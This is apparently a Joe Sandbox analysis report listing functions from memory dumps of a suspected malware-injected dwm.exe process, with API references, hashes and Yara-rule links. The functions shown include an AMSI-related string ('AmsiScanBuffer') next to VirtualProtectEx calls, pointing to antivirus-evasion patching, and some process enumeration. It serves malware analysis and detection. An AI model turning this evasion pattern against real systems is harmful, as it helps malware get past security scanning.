String ID: AmsiScanBuffer$amsi.dll
API String ID: 188063004-3248079830
Opcode ID: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction ID: db01970521fb033b59d6bc5443d1eb5734d9363d116c5b1d41d560f936bf65f5
Opcode Fuzzy Hash: 594064a6cd66e1c3961e71c37a52b1967edf4951384bf957dace5d3e1a2af7c1
Instruction Fuzzy Hash: 05D06730A11E24D5FB096B51E85C3582272AB69F81FD40519C50A11AB4DE2E895D8740

Function 00000262F1D05810 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000262F1D05896

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction ID: 622eb5f2ebc59aa044546f7edd328fafd69abcf1a3ad7cc299f0263b7cfaa471
Opcode Fuzzy Hash: d921e495b5ff86d0954fcd723af1d701a904b7c821d12a86b124da1c2f3dacd7
Instruction Fuzzy Hash: EA02B732619B94C6EB60CB55F49835AB7B0F3C5B94F504115EA8E87BA8DB7EC498CF00

Function 00000262F1D02C80 Relevance: 7.6, APIs: 6, Instructions: 131COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000262F1D02CAD
TlsGetValue.KERNEL32 ref: 00000262F1D02CBC
TlsGetValue.KERNEL32 ref: 00000262F1D02CCB
TlsSetValue.KERNEL32 ref: 00000262F1D02E0F
TlsSetValue.KERNEL32 ref: 00000262F1D02E1E
TlsSetValue.KERNEL32 ref: 00000262F1D02E2D

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction ID: d781f4df8db82cb70bfb938b6b2b3f1ea339c77129f07f6d2036569f5926d4fa
Opcode Fuzzy Hash: 7032d40e9fdebae4d03ce316ca6788aa89ff4a06af46faea50622b7dc22550b0
Instruction Fuzzy Hash: 42519D36605A61CBE364CB1AE44CA5AB7B4F788B84F90412D9E5A43F58DB3AC94DCB40

Function 00000262F1CA2AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000262F1CA2AE1
TlsGetValue.KERNEL32 ref: 00000262F1CA2AF0
TlsGetValue.KERNEL32 ref: 00000262F1CA2AFF
TlsSetValue.KERNEL32 ref: 00000262F1CA2C3B
TlsSetValue.KERNEL32 ref: 00000262F1CA2C4A
TlsSetValue.KERNEL32 ref: 00000262F1CA2C59

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: 62766db23d222312cbeb96b5ee1df96a8003b2e40108b01ffe44f01eecfe9b6d
Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: 30517C36614A61C7E765CF16B85C61AB3B4F788B84F904129EE4A43FE4DB3AC809DB01

Function 00000262F1D02AB4 Relevance: 7.6, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000262F1D02AE1
TlsGetValue.KERNEL32 ref: 00000262F1D02AF0
TlsGetValue.KERNEL32 ref: 00000262F1D02AFF
TlsSetValue.KERNEL32 ref: 00000262F1D02C3B
TlsSetValue.KERNEL32 ref: 00000262F1D02C4A
TlsSetValue.KERNEL32 ref: 00000262F1D02C59

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction ID: a709c73b784fcf673db131d2593a9ac946a60606ec55f48eb9af392fc15ae458
Opcode Fuzzy Hash: 5c9254f6834b222fd2a91192d3bbd05b6f5f053a4dd622be8c2296fd59765fda
Instruction Fuzzy Hash: 1B517E36215E61C7E768CF16A84C62AB7B4F789B84F90411DDE5A43F58DF3AC949CB00

Function 00000262F1CA5E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000262F1CA5E66

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 3353fd0803e8b62cac05d50f1b0f1413ca787e0ff18400d19a3c90f3a66eef8b
Instruction ID: 7dfa6c9e85c0c4888b140fbb648de74f9ae260265bc6173a4237456aa14c59c8
Opcode Fuzzy Hash: 3353fd0803e8b62cac05d50f1b0f1413ca787e0ff18400d19a3c90f3a66eef8b
Instruction Fuzzy Hash: 8361B636129A94C6E661CF55E46C31AB7B4F388B44F904125EA8E43FE8DB7EC558CF02

Function 00000262F1D05E50 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000262F1D05E66

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction ID: 33fc6afa7d09bec4393db9ed6b29d059a80f00464884339cd8ac21188f4fc710
Opcode Fuzzy Hash: f9fafa43fcee67a3a7710958ae0696c6d862f57b4097daa19824d4405277cc21
Instruction Fuzzy Hash: D8617436529AA4C6E764CB15E45C31AB7B0F388B44F90511AEA8D47FA8DB7EC548CF04

Function 00000262F1D03EC8 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000262F1D03A5B), ref: 00000262F1D03EDB
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000262F1D03A5B), ref: 00000262F1D03F0E
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000262F1D03A5B), ref: 00000262F1D03F2E
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000262F1D03A5B), ref: 00000262F1D03F47
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000262F1D03A5B), ref: 00000262F1D03F68

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction ID: 5a8a33f1fc3b27cae6a25a7e56a3cb12787dbb5337f85e7f6ad609e52c1d9bac
Opcode Fuzzy Hash: 8f39ec8e8825e7e8b48ed506b15ed582bafad4aa87a5a48c909f13f5417d00ae
Instruction Fuzzy Hash: 06114236605B60D7FB248B61E40C21A67B0FB49B80F44012ADE8D03BA8EB7EC958C784

Function 00000262F1CA8CA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000262F1CA8CCB
_IsNonwritableInCurrentImage.LIBCMT ref: 00000262F1CA8D62
RtlUnwindEx.NTDLL ref: 00000262F1CA8DBC

Strings

csm, xrefs: 00000262F1CA8D49

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 98374244b62bdb553a9c3eb3e33a32f81a5a450a53db7eab4c3c19d1b102b2b2
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: E351BD36311E20CBEB55CB26E06CB6C77B1E354B89F948130DA4A47BC8DB7AC849C742

Function 00000262F1D08CA0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000262F1D08CCB
_IsNonwritableInCurrentImage.LIBCMT ref: 00000262F1D08D62
RtlUnwindEx.NTDLL ref: 00000262F1D08DBC

Strings

csm, xrefs: 00000262F1D08D49

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: f60a8d4237e72f3f14a3f0197cc33c52391d7b95f627aa1c244f15685a145f4d
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 9C51A032B11E20CAEB54CB2AE44CB6D77B1E354F98F948125DA5A47B8CDB7BC849C700

Function 00000262F1CAA6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000262F1CAA75B
_CallSETranslator.LIBVCRUNTIME ref: 00000262F1CAA7A7

Strings

MOC, xrefs: 00000262F1CAA76F
RCC, xrefs: 00000262F1CAA777

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: b3e5fa25f3971d31077366c8ce8cb1e1a0a8029df25090ffa0620304a0efd652
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: 6D61CF72508BD4C6EB228F25E45839AB7B0F784B94F444225EB9953BD5CB3DC099CB01

Function 00000262F1CAAAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000262F1CAAAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000262F1CAABBC

Strings

csm, xrefs: 00000262F1CAAAF6
csm, xrefs: 00000262F1CAAC0E

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: cd36518772daa15b1234e2ee8c3629aed24316e6fcc3c5a517f37e1bc8dd3006
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: D3517F32200AA0CBEB768F26E56C35877B1F354B98F944136DA9947FD5CB3AC45AC702

Function 00000262F1EB9EAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000262F1EB9ED4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000262F1EB9FBC

Strings

csm, xrefs: 00000262F1EB9EF6
csm, xrefs: 00000262F1EBA00E

Memory Dump Source

Source File: 00000012.00000003.1494451949.00000262F1EB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000262F1EB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_3_262f1eb0000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: 62750aea86d2f79ab3a62608d88e6549e228e42a9d612b022f297b54e93bc2d6
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: 64516D72204AA0CAEF74CF22955C36877F0F395B94F984116EA9947FD5CB3AC498CB01

Function 00000262F1D0A6FC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000262F1D0A75B
_CallSETranslator.LIBVCRUNTIME ref: 00000262F1D0A7A7

Strings

RCC, xrefs: 00000262F1D0A777
MOC, xrefs: 00000262F1D0A76F

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 81ba7df688118f47c0e8d4d44860644dd30a203473e9d5ec8070b20303da2aaa
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: 1561AD73508BC4C1EB248F15E44879AB7B0F785B98F848215EBD817B99DB7DC198CB00

Function 00000262F1D0AAAC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000262F1D0AAD4
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000262F1D0ABBC

Strings

csm, xrefs: 00000262F1D0AC0E
csm, xrefs: 00000262F1D0AAF6

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction ID: b08a352aab7ae306f36862688c8507f6f89dde0ec4132e77021ab274de92b1e7
Opcode Fuzzy Hash: eaa3ef4f1944c03eb6c37dfa640564b8b9e6afec5d94ced6829f034688bc3bbb
Instruction Fuzzy Hash: B0517B37200AA0CBEB788F26954C35877B1F354F98F954116DA9A47FD9CB3AC868CB05

Function 00000262F1CA3950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 00000262F1CA3972
StrStrW.SHLWAPI ref: 00000262F1CA3990
StrToIntW.SHLWAPI ref: 00000262F1CA39B7

Part of subcall function 00000262F1CA1A30: OpenProcess.KERNEL32 ref: 00000262F1CA1A56
Part of subcall function 00000262F1CA1A30: K32GetModuleFileNameExW.KERNEL32 ref: 00000262F1CA1A74
Part of subcall function 00000262F1CA1A30: PathFindFileNameW.SHLWAPI ref: 00000262F1CA1A83
Part of subcall function 00000262F1CA1A30: lstrlenW.KERNEL32 ref: 00000262F1CA1A8F
Part of subcall function 00000262F1CA1A30: StrCpyW.SHLWAPI ref: 00000262F1CA1AA2
Part of subcall function 00000262F1CA1A30: CloseHandle.KERNEL32 ref: 00000262F1CA1AB0

Part of subcall function 00000262F1CA3F88: StrCmpNIW.SHLWAPI(?,?,?,00000262F1CA272F), ref: 00000262F1CA3FA0

Strings

pid_, xrefs: 00000262F1CA3968

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction ID: 122660454dcff2f8c64d10645c7e879e14b86cb446b59d18540bbce88dfbed65
Opcode Fuzzy Hash: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction Fuzzy Hash: B9115C31310FA1D2EB119B65A83E35A62B4B744780FC45035DA49C3AD5EF6AC90DC701

Function 00000262F1D03950 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 00000262F1D03972
StrStrW.SHLWAPI ref: 00000262F1D03990
StrToIntW.SHLWAPI ref: 00000262F1D039B7

Part of subcall function 00000262F1D01A30: OpenProcess.KERNEL32 ref: 00000262F1D01A56
Part of subcall function 00000262F1D01A30: K32GetModuleFileNameExW.KERNEL32 ref: 00000262F1D01A74
Part of subcall function 00000262F1D01A30: PathFindFileNameW.SHLWAPI ref: 00000262F1D01A83
Part of subcall function 00000262F1D01A30: lstrlenW.KERNEL32 ref: 00000262F1D01A8F
Part of subcall function 00000262F1D01A30: StrCpyW.SHLWAPI ref: 00000262F1D01AA2
Part of subcall function 00000262F1D01A30: CloseHandle.KERNEL32 ref: 00000262F1D01AB0

Part of subcall function 00000262F1D03F88: StrCmpNIW.SHLWAPI(?,?,?,00000262F1D0272F), ref: 00000262F1D03FA0

Strings

pid_, xrefs: 00000262F1D03968

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction ID: 6c9896909d5ae9cb90d3718a33db1c4fc3b0fc1a6f8ca8a51580f751010b5df6
Opcode Fuzzy Hash: 351c56d785df20298bfbc2128b4df5e5f7d51d179e69475368e405930b6507af
Instruction Fuzzy Hash: 31115131314FA1E6FB109B25E84C35E66B4F788B80FD44525AE4993E98EF6AC94DC740

Function 00000262F1CB1FA8 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000262F1CB2027
WriteFile.KERNEL32 ref: 00000262F1CB2304
WriteFile.KERNEL32 ref: 00000262F1CB234A
GetLastError.KERNEL32 ref: 00000262F1CB2409

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
